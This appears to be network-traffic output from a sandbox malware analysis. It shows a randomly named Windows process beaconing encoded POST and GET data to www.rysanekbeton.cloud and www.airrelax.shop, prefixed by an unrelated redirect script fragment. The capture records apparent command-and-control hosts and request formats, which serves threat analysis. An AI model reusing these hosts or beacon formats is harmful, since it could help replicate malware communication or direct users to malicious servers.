html><html><head><script>window.onload=function(){window.location.href="/lander?x4=gA6TElZrCKVvAudJqCgIj+rDW60O9S/KrsL6QppRHZfK3DYPsJvxk4hrjtesZ+QJ9tNiW026ZluxU0disiqWvA+4TRd5XHrMIpgHSW93WHtTmPUKepAYQ6lEihd3&e2E=wRQ8oHXx"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.22	49203	81.2.196.19	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:12.125231981 CET	2472	OUT	POST /k6bb/ HTTP/1.1 Host: www.rysanekbeton.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.rysanekbeton.cloud Referer: http://www.rysanekbeton.cloud/k6bb/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 55 34 67 37 36 62 36 70 55 79 46 70 70 62 61 31 75 66 6f 71 36 5a 63 48 39 52 53 4e 31 53 4f 48 34 33 5a 52 55 4b 37 51 34 63 33 2f 48 63 6e 61 65 64 30 73 72 73 2f 74 31 7a 2b 36 37 48 36 4a 57 71 4e 67 38 45 6f 52 6e 35 33 57 69 35 32 79 42 7a 54 41 30 71 38 61 59 36 41 76 7a 39 4d 36 43 6d 34 52 55 66 58 55 45 4f 50 6e 70 51 4f 57 77 7a 49 4b 38 30 63 39 4d 43 51 69 6f 58 6f 52 77 43 31 55 64 6f 6b 39 6f 58 4a 53 4e 4a 59 55 51 68 6d 4a 43 48 55 78 37 72 4e 4f 58 77 4b 4b 49 30 39 47 51 4b 46 44 44 66 6f 58 7a 6c 4e 31 64 38 58 71 76 77 7a 51 2b 58 66 46 45 38 50 6c 37 46 71 66 78 63 37 43 63 43 34 6a 53 47 61 48 4f 41 37 39 71 55 6c 59 41 66 77 45 2f 63 7a 77 69 39 34 58 48 65 6a 4d 67 30 56 6e 43 6a 4c 54 73 56 41 4f 75 41 4b 4d 54 57 73 55 72 70 2b 32 6b 73 41 2b 61 33 4a 76 6d 38 52 6e 49 64 59 56 67 73 50 42 55 72 6d 6c 47 76 63 6f 79 2b 43 53 55 38 57 55 4e 5a 66 61 79 65 74 74 77 4e 6d 34 51 6c 6f 67 4c 47 70 78 46 4c 6b 34 65 50 6f 57 53 66 64 46 57 67 56 6d 61 5a 56 6d 61 46 6a [TRUNCATED] Data Ascii: x4=U4g76b6pUyFppba1ufoq6ZcH9RSN1SOH43ZRUK7Q4c3/Hcnaed0srs/t1z+67H6JWqNg8EoRn53Wi52yBzTA0q8aY6Avz9M6Cm4RUfXUEOPnpQOWwzIK80c9MCQioXoRwC1Udok9oXJSNJYUQhmJCHUx7rNOXwKKI09GQKFDDfoXzlN1d8XqvwzQ+XfFE8Pl7Fqfxc7CcC4jSGaHOA79qUlYAfwE/czwi94XHejMg0VnCjLTsVAOuAKMTWsUrp+2ksA+a3Jvm8RnIdYVgsPBUrmlGvcoy+CSU8WUNZfayettwNm4QlogLGpxFLk4ePoWSfdFWgVmaZVmaFjmKtp0hydMUIqZ4Lhg3MulaqYiKiCVayt4AJueibc0MiqrFT2ICNjIjgBda66xO3z4+0+hOM95biZPt8D1Pif+jUhq+vutpe7i5Z4RfGf6nWBYPZggluCQ6dLkwA85594KagYC2h8gnPy243wgo1VkWURg9RhNUtCtWO32dCEGgM8njQf5gy5v3xZHjnhGbBeyaf1UGAC/pT/6ngBPqR7H3nzPJIT30pngYaWMXmf8+XXPYXl7Pcu+wHX5yICoBu/6e3jAdtbf9CQ91tygt0cHZC8Cu4D5U4Ekh/z5b7R3KexjxEZ3s4LNLI/iz1nHwUomcZySFQJTxLVpzVIV4AB8ez5U/cHEjJsEbO2MeZ72lqYgDKzkQ1UFlxnG8wBpgQXcfaaqTu5HpWOoenEj9gKg5+cOJdVuKgeaj2RcgHWpUffbSf5MN+Vcnxtnn8XQVZIG0TyTktmX4iAJSkuVCCfawkr3vCGohTiOItk44nUPkr+iKUHlT0Z5ujUDPdn6R5qhplU3fb1rEngTSuJOS9Ymg0SJy32Yhmoh+qekx0otTsL/hmuDYu8InQyUgOeImfnqpUliQZmGQW8m/LxhPGiu0OdCixfeAXPyqe78zzehr7PHW0a4e+BXjXscANPuAVX1C+TQjaaQxp/Wc7nYCms9BewSqEaAPowaI [TRUNCATED]
Dec 12, 2024 10:23:12.245501041 CET	312	OUT	Data Raw: 54 77 76 50 44 43 30 37 50 77 50 2b 38 76 41 67 57 6e 58 73 44 49 69 38 42 4a 43 46 66 6a 75 61 4b 42 46 57 73 76 64 32 72 6c 53 6a 34 52 78 6d 46 6e 6e 30 72 61 71 73 68 73 47 67 44 33 52 2b 4c 72 4e 6d 4a 71 59 67 37 61 67 63 54 48 35 78 4e 2b Data Ascii: TwvPDC07PwP+8vAgWnXsDIi8BJCFfjuaKBFWsvd2rlSj4RxmFnn0raqshsGgD3R+LrNmJqYg7agcTH5xN+OjlE/klxXBP107eIEhcCix6itnG70SxrMlVhq5/8mFzJkVu6X36KcMx/jrCW5iIuneN1Us1C8g8sswtHemCDhBEDFUlQUpTv1mjcHHDvgYUdpryPlK4d8hCiDb9ac6Sl/P8ZzaciZjzManljTBrhhRdcdt6eWcvir
Dec 12, 2024 10:23:13.404472113 CET	355	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 12 Dec 2024 09:23:13 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.22	49204	81.2.196.19	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:14.780477047 CET	823	OUT	POST /k6bb/ HTTP/1.1 Host: www.rysanekbeton.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.rysanekbeton.cloud Referer: http://www.rysanekbeton.cloud/k6bb/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 55 34 67 37 36 62 36 70 55 79 46 70 70 63 32 31 76 4b 55 71 36 35 63 48 38 52 53 4e 75 69 4f 4e 34 33 46 7a 55 4f 71 4c 2f 72 6a 2f 48 4e 33 61 65 50 73 73 6f 73 2f 75 74 6a 2f 78 34 33 36 51 57 71 4e 47 38 46 55 52 6e 39 6e 57 74 36 4f 79 57 43 54 44 37 36 38 55 56 61 41 55 7a 39 78 4d 43 6d 30 42 55 66 50 55 45 4d 4c 6e 6f 51 65 57 31 56 63 4b 32 6b 63 42 62 53 51 31 6f 58 73 45 77 43 6c 4d 64 6f 49 39 6f 69 52 53 4e 63 6b 55 55 32 53 4a 56 58 55 77 32 4c 4d 59 66 54 6e 74 47 56 74 6f 57 70 4e 41 64 65 31 79 37 47 5a 56 53 74 58 41 34 44 6e 74 33 41 48 51 43 65 53 68 67 41 3d 3d Data Ascii: x4=U4g76b6pUyFppc21vKUq65cH8RSNuiON43FzUOqL/rj/HN3aePssos/utj/x436QWqNG8FURn9nWt6OyWCTD768UVaAUz9xMCm0BUfPUEMLnoQeW1VcK2kcBbSQ1oXsEwClMdoI9oiRSNckUU2SJVXUw2LMYfTntGVtoWpNAde1y7GZVStXA4Dnt3AHQCeShgA==
Dec 12, 2024 10:23:16.058168888 CET	355	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 12 Dec 2024 09:23:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.22	49205	81.2.196.19	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:17.444489956 CET	2472	OUT	POST /k6bb/ HTTP/1.1 Host: www.rysanekbeton.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.rysanekbeton.cloud Referer: http://www.rysanekbeton.cloud/k6bb/ Content-Length: 3623 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 55 34 67 37 36 62 36 70 55 79 46 70 70 38 6d 31 6a 4e 41 71 37 5a 63 45 6c 68 53 4e 31 53 4f 42 34 33 5a 7a 55 4b 37 51 34 5a 50 2f 48 63 37 61 65 74 30 73 71 73 2f 75 72 6a 2b 36 37 48 36 4b 57 71 5a 77 38 45 6c 73 6e 37 2f 57 69 37 65 79 42 77 4c 41 31 71 38 61 45 4b 41 58 7a 39 77 49 43 6d 6b 46 55 66 4c 75 45 4d 44 6e 6f 6a 36 57 7a 6c 63 46 71 55 63 42 62 53 51 48 6f 58 73 6b 77 43 38 4a 64 70 51 74 6f 55 39 53 4d 35 59 55 57 52 6d 49 64 33 55 30 2f 72 4e 51 58 77 47 6a 49 30 39 43 51 4b 51 6d 44 66 30 58 78 33 46 31 64 37 44 70 78 77 7a 54 77 33 66 46 4b 63 50 72 37 46 71 44 78 63 37 43 63 43 30 6a 51 57 61 48 4f 45 50 36 70 6b 6c 59 66 76 77 7a 79 38 33 4b 69 2b 45 31 48 64 37 6d 68 44 31 6e 44 6c 2f 54 6f 6c 41 4f 2b 67 4b 4f 54 57 73 38 67 4a 2b 71 6b 73 34 32 61 78 70 2f 6d 38 52 6e 49 65 51 56 6b 36 62 42 64 62 6d 6c 4f 50 63 54 35 65 43 54 55 38 6a 48 4e 61 44 61 79 63 64 74 77 37 65 34 57 67 38 76 54 47 70 77 53 37 6b 36 61 50 6f 48 53 66 41 67 57 67 64 41 61 59 6c 6d 61 41 33 [TRUNCATED] Data Ascii: x4=U4g76b6pUyFpp8m1jNAq7ZcElhSN1SOB43ZzUK7Q4ZP/Hc7aet0sqs/urj+67H6KWqZw8Elsn7/Wi7eyBwLA1q8aEKAXz9wICmkFUfLuEMDnoj6WzlcFqUcBbSQHoXskwC8JdpQtoU9SM5YUWRmId3U0/rNQXwGjI09CQKQmDf0Xx3F1d7DpxwzTw3fFKcPr7FqDxc7CcC0jQWaHOEP6pklYfvwzy83Ki+E1Hd7mhD1nDl/TolAO+gKOTWs8gJ+qks42axp/m8RnIeQVk6bBdbmlOPcT5eCTU8jHNaDaycdtw7e4Wg8vTGpwS7k6aPoHSfAgWgdAaYlmaA3mPId0hCdLW4qdyb9W3MmHarJdKgGVajt4X6KR+bc6cyqbOz33COOEjhhdGbixN2T46Hm+P88QMyZYmcCiPi7YjVxA+86tou7i78kSDGf/9GBOBJgMluDh6cr0wxE555EKbzwC2h8hgPz9xX9Fo1JgWUdw9SJNV8StWNv2GSEG6c8a6geOgyt/3zZxgWFGbnayW7VUNAC9rT/5pABBqRrH3mHfJLT3x8bgY7WMO2f4y3WRYXkAPc6iwD7pyKWoBv/6JmjAXNa4/CQ5+NyDt0EXZCoou975Spkkuuz5U7R1F+xj+kZGs4TdLNPYz0vHwmAmQpyNJwJS8rVqllIH4Ax8ez9U/d/Ei6EEc5iMBZ7066ZxKq2DQ1EzlwSL8yVphBXccYC1We5BsWOiJ3EH9gL05/FDKvduKyWav01dhnWuGffIc/5GN6xynzx3nPzQVY4G0gaTjdmX4iAKSkuOCCbowhuQvCGohCiOI/c43HVHoL/+bkH3T1ISun5UPdL6XoKhplUwCb1oe3gSSv1pS9YYg0eJyBOYzFwh9JmklEotUsL4oGuAYu8YnR+EgKyInvHqsXNhWZmHAm8Kxr0hPGuM0LNCjCLeDi7ypu78ozeukrOfZUe8e+d9jW9XA8fuAmf1RtrX6aaRsZ/Uc7rCCmk1Bf5tqD+AMIwaT [TRUNCATED]
Dec 12, 2024 10:23:17.565887928 CET	1776	OUT	Data Raw: 61 67 75 47 43 43 31 68 42 51 4f 6d 38 76 41 30 57 6a 37 38 44 4b 57 38 42 49 69 46 66 41 32 61 4c 68 46 56 75 76 64 7a 72 6c 53 35 34 51 55 4d 46 6d 4b 78 72 63 75 73 68 50 4f 67 42 41 74 2b 56 72 4e 67 4a 71 59 71 30 36 38 54 54 48 35 4c 4e 2f Data Ascii: aguGCC1hBQOm8vA0Wj78DKW8BIiFfA2aLhFVuvdzrlS54QUMFmKxrcushPOgBAt+VrNgJqYq068TTH5LN/qjlEvklyvBPF04d4EkUiiygSs4G70exvAPVjm5/uOF6YkVpKX1tadI1/fACXFUIuXgMGQszxEg5eEw63ejIjgBEDYalT96TtMBjNLHA/gYQfxo2Pl2ut9hCiD39Z8+SnLf8Yracn1jz8agmTTDohhXdcRI6efNvi7
Dec 12, 2024 10:23:18.719711065 CET	355	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 12 Dec 2024 09:23:18 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.22	49206	81.2.196.19	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:20.097759008 CET	547	OUT	GET /k6bb/?e2E=wRQ8oHXx&x4=Z6Ib5suwfioT2MqU06AO+PAui2zXunW520tiYNnV3r2mKqn+I/1Rk8X6nyOI9yPQWIZ7sVBW06SOuYuNHwSa/K8QYKA8w9Q0BnY6RfjXUsKFmlTp4Coq9mQ/L3NZ HTTP/1.1 Host: www.rysanekbeton.cloud Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36
Dec 12, 2024 10:23:21.379368067 CET	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 12 Dec 2024 09:23:21 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.22	49207	172.67.215.235	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 10:23:26.874097109 CET	2472	OUT	POST /gvzg/ HTTP/1.1 Host: www.airrelax.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate, br Origin: http://www.airrelax.shop Referer: http://www.airrelax.shop/gvzg/ Content-Length: 2159 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47E; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/44.0.2403.117 Mobile Safari/537.36 Data Raw: 78 34 3d 36 62 46 4c 79 69 68 6f 38 4a 59 69 79 66 67 78 79 77 35 55 63 67 4c 6d 47 6f 32 77 35 49 79 36 76 64 72 4b 6b 49 36 73 39 72 47 63 64 4a 62 6c 66 5a 42 52 64 61 2b 4c 54 77 56 79 68 2b 41 56 6e 68 35 2b 67 4d 49 56 76 39 51 2f 50 42 4a 51 33 61 2f 47 2b 72 44 66 39 39 37 6e 36 61 68 38 52 73 4a 74 49 46 4a 6a 32 47 54 64 55 6c 6d 70 35 6b 39 61 69 6a 59 57 4b 64 6c 57 66 57 75 51 6c 79 64 39 4a 63 55 2b 32 76 49 4d 50 61 55 68 30 59 6b 6e 34 62 50 79 67 30 5a 43 51 37 49 6c 4f 63 5a 53 32 69 44 4e 72 79 6f 2f 34 43 66 75 63 67 39 73 77 51 4d 77 42 70 71 4e 4b 2b 34 74 41 73 69 2b 74 47 72 4c 59 6f 50 53 55 32 50 53 5a 4a 37 42 6c 39 71 73 2f 33 63 5a 38 53 4a 44 48 74 70 49 67 31 6a 35 32 58 66 76 52 50 69 69 72 45 2f 4c 6e 58 52 37 59 50 75 5a 57 6b 4e 66 2f 74 65 66 74 6c 61 45 6a 4d 41 45 6b 30 41 2b 30 7a 38 74 6d 64 54 6d 7a 64 39 69 30 6f 48 6a 61 39 2f 56 44 34 76 62 6d 68 6a 36 48 59 64 58 2f 6b 51 4a 2b 30 61 6c 4c 55 68 69 6c 32 47 4f 4d 36 46 6c 49 54 73 79 69 46 56 64 6f 6a 41 [TRUNCATED] Data Ascii: x4=6bFLyiho8JYiyfgxyw5UcgLmGo2w5Iy6vdrKkI6s9rGcdJblfZBRda+LTwVyh+AVnh5+gMIVv9Q/PBJQ3a/G+rDf997n6ah8RsJtIFJj2GTdUlmp5k9aijYWKdlWfWuQlyd9JcU+2vIMPaUh0Ykn4bPyg0ZCQ7IlOcZS2iDNryo/4Cfucg9swQMwBpqNK+4tAsi+tGrLYoPSU2PSZJ7Bl9qs/3cZ8SJDHtpIg1j52XfvRPiirE/LnXR7YPuZWkNf/teftlaEjMAEk0A+0z8tmdTmzd9i0oHja9/VD4vbmhj6HYdX/kQJ+0alLUhil2GOM6FlITsyiFVdojA9XgKQwr35EJwy1gvwngRn2Nbye2EB3jBi/tTNwSWtt+G6Pr5QjAQTsw0jPkEfmKkFTFtCu2Ujps3ns0HL9sRRTGp17jaBuu+25rjp1kLpGfnwpolYDfYltjMqYrd5NSCcBp5cKoPmfKWv/0Uz1LwH+OyGnz/QRq7jD4zMzmNssw8Wlfaq3LSDBmdIbgLmFIUp7AhiX5dZkXIn2vJ6+GeOgC+Y7yygcepxvD/o5xasYm/h44g/9ykG2W1tedwtWxodXUjger9eOBiNoftm57+LtXQImLBbEHioR8vUXYBjF0EFs3HVCMWRptZBImb3VCHZbWxA8wur+fyyp/sRageEOFW9PVMn8P6IAVdWPQeMCbfNBtgYzdAOjAiksQcI+sUit+Q0xhZm+94ly21UCZe4xqBKee9M0GSMC89+z96BKcnG0EvD2nW/9dSVUQUbWspE8GZKdNYkFUvEtpKpzUm5i6B3XaJcF/JucpNJwnyLBmnwtxZQFv37HPKPUMe/Pwh2EiWaXOrLqLmv67+OteozLEVuvkHXsMUeTG/33dALYU3jrZKNlpmaR/goC+fe2XS7uVtNjMlBAKrZOlaUWIixqlrx7eVONBkHA+CRsaIY4T1uvP24ZYaiG+pD4xWLuriZ9prdwXMeBBbRsctHF53cGaM+LZl4UIEqE [TRUNCATED]
Dec 12, 2024 10:23:26.993562937 CET	297	OUT	Data Raw: 6b 35 37 62 36 6f 46 6a 68 54 56 6f 50 53 6f 54 65 38 73 70 77 65 5a 78 64 50 4a 46 43 62 74 42 6d 6c 54 36 59 6d 48 54 43 50 65 6c 58 77 61 2b 39 6d 59 68 6e 41 73 64 45 4a 33 41 63 51 4b 33 56 2b 6c 4d 47 74 54 56 76 6e 42 72 70 39 71 6d 6a 66 Data Ascii: k57b6oFjhTVoPSoTe8spweZxdPJFCbtBmlT6YmHTCPelXwa+9mYhnAsdEJ3AcQK3V+lMGtTVvnBrp9qmjf4ZeobaYpfttdHuTDFqtDa9O0wtElaDj8sEOJ7LDWsFtwMIHcldpoG6MrYC/kyckgLg8zKD9fNzpMDev/3NZ5qiFmULxOw/iOvjDjqBe0OhVqQgw9N5eCLlh0DwhMnMMUjQrs3MVpNSZmMYOMEm682k9E1Kfd8sTx0
Dec 12, 2024 10:23:28.043258905 CET	1236	IN	HTTP/1.1 405 Not Allowed Date: Thu, 12 Dec 2024 09:23:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aFPT%2Fwia1vBxDhQJW7JEVvRlOkxN1mBLJpIjO7EV7ZJAEsgyiBhM16j%2Bdmk0%2BxZYS6g72lrwPmDiePAj96%2F%2FmN0G5F4%2FOaK%2BhmQfXFD7rId%2FLFNKgHyd%2BJO8%2B4ODOuo4e1GLng%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0ca7e21b037287-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2009&min_rtt=2009&rtt_var=1004&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=2769&delivery_rate=0&cwnd=189&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding
Dec 12, 2024 10:23:28.043275118 CET	127	IN	Data Raw: 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 Data Ascii: to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.22	49208	172.67.215.235	80	1020	C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe

Timestamp	Bytes transferred	Direction	Data
